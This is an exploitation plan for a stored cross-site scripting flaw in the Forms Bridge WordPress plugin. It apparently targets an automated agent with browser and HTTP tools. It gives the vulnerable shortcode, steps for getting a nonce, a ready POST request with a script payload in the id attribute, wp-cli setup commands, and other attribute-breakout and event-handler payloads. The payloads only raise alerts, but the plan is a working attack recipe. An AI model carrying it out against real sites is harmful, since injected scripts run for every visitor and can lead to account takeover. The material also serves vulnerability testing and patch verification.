Exploitation Research Plan: CVE-2026-1244 (Forms Bridge)

1. Vulnerability Summary

The Forms Bridge – Infinite integrations plugin (<= 4.2.5) contains a stored cross-site scripting (XSS) vulnerability. The flaw exists within the financoop_campaign shortcode handler. Specifically, the id attribute provided by the user is passed to the function forms_bridge_financoop_shortcode_error (inferred to be an error-reporting helper), which outputs the raw value of the id attribute without proper sanitization or context-aware escaping (e.g., esc_html or esc_attr). This allows a user with Contributor-level privileges or higher to inject malicious JavaScript into a post, which executes when any user views the rendered page.

2. Attack Vector Analysis

• Endpoint: wp-admin/post.php (Standard WordPress post creation/edition).
• Shortcode: [financoop_campaign id="PAYLOAD"]
• Carrier Attribute: id
• Required Authentication: Contributor-level (can create/edit posts but cannot publish by default, though previews still trigger the shortcode rendering).
• Preconditions: The plugin must be active. The exploit is triggered when the shortcode's "error" path is taken (e.g., providing an id that does not correspond to a valid campaign).

3. Code Flow

1. Registration: The plugin registers the shortcode (likely in includes/class-forms-bridge.php or similar) using add_shortcode('financoop_campaign', 'CALLBACK_FUNCTION').
2. Execution: When a post containing the shortcode is rendered, the callback function is invoked.
3. Logic Path: The callback extracts attributes using shortcode_atts(). It likely checks if the provided id is valid or exists in the database/API.
4. Sink: If the id is invalid, the code calls forms_bridge_financoop_shortcode_error($atts['id']).
5. Vulnerable Output: The function forms_bridge_financoop_shortcode_error (inferred) performs a direct echo or returns a string containing the raw $id parameter:

   // Inferred Vulnerable Logic
   function forms_bridge_financoop_shortcode_error($id) {
       return "Forms Bridge Error: Campaign with ID $id was not found."; // No escaping!
   }
   

4. Nonce Acquisition Strategy

This vulnerability is exploited through the standard WordPress post-editor workflow.

1. Creation: A Contributor logs in and visits wp-admin/post-new.php.
2. Nonces: WordPress automatically generates the _wpnonce and _wp_http_referer required for post saving/autosaving within the editor page.
3. Extraction:
   • Use browser_navigate to go to /wp-admin/post-new.php.
   • Use browser_eval to extract the _wpnonce from the form field name="_wpnonce".
   • Alternatively, use the http_request tool to perform a POST to wp-admin/post.php using the extracted nonce.

Note: Since this is a Stored XSS via shortcode, the exploit payload is simply the text content of the post.

5. Exploitation Strategy

Step 1: Authenticate as Contributor

• Perform login and obtain session cookies.

Step 2: Create a Malicious Post

• Request: POST /wp-admin/post.php
• Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • post_title: XSS Test
  • content: [financoop_campaign id='<script>alert(document.domain)</script>']
  • action: editpost
  • post_type: post
  • _wpnonce: (Extracted from editor page)

Step 3: Trigger Execution

• Navigate to the newly created post's permalink (or the preview link: /?p=POST_ID&preview=true).
• The shortcode logic will fail to find a campaign with the script tag as its ID, trigger the error function, and reflect the script.

6. Test Data Setup

1. User Creation: Create a user with the contributor role.

   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
   

2. Plugin Verification: Ensure forms-bridge is installed and active.

   wp plugin is-active forms-bridge || wp plugin activate forms-bridge
   

7. Expected Results

When the post is viewed:

• The HTML source should contain: Forms Bridge Error: Campaign with ID <script>alert(document.domain)</script> was not found. (exact phrasing may vary).
• A JavaScript alert box showing the document domain will appear in the browser context.

8. Verification Steps

1. Database Check: Verify the shortcode is correctly stored in the wp_posts table.

   wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test' LIMIT 1;"
   

2. Response Analysis: Use the http_request tool to fetch the post content and check for unescaped characters.

   # Check if <script> is returned literally and not as &lt;script&gt;
   grep -o "<script>alert(document.domain)</script>"
   

9. Alternative Approaches

If the id is rendered inside an HTML attribute (e.g., value="..."), the payload should be modified to break out of the attribute:

• Attribute Breakout Payload: [financoop_campaign id='"><script>alert(1)</script>']
• Event Handler Payload: [financoop_campaign id='x" onmouseover="alert(1)" style="width:1000px;height:1000px;display:block;"']

If the forms_bridge_financoop_shortcode_error function is only reachable under specific campaign settings, look for existing campaign IDs via wp-cli (if stored in options or custom tables) and try to bypass the validity check using an array or object if the plugin uses loose comparison.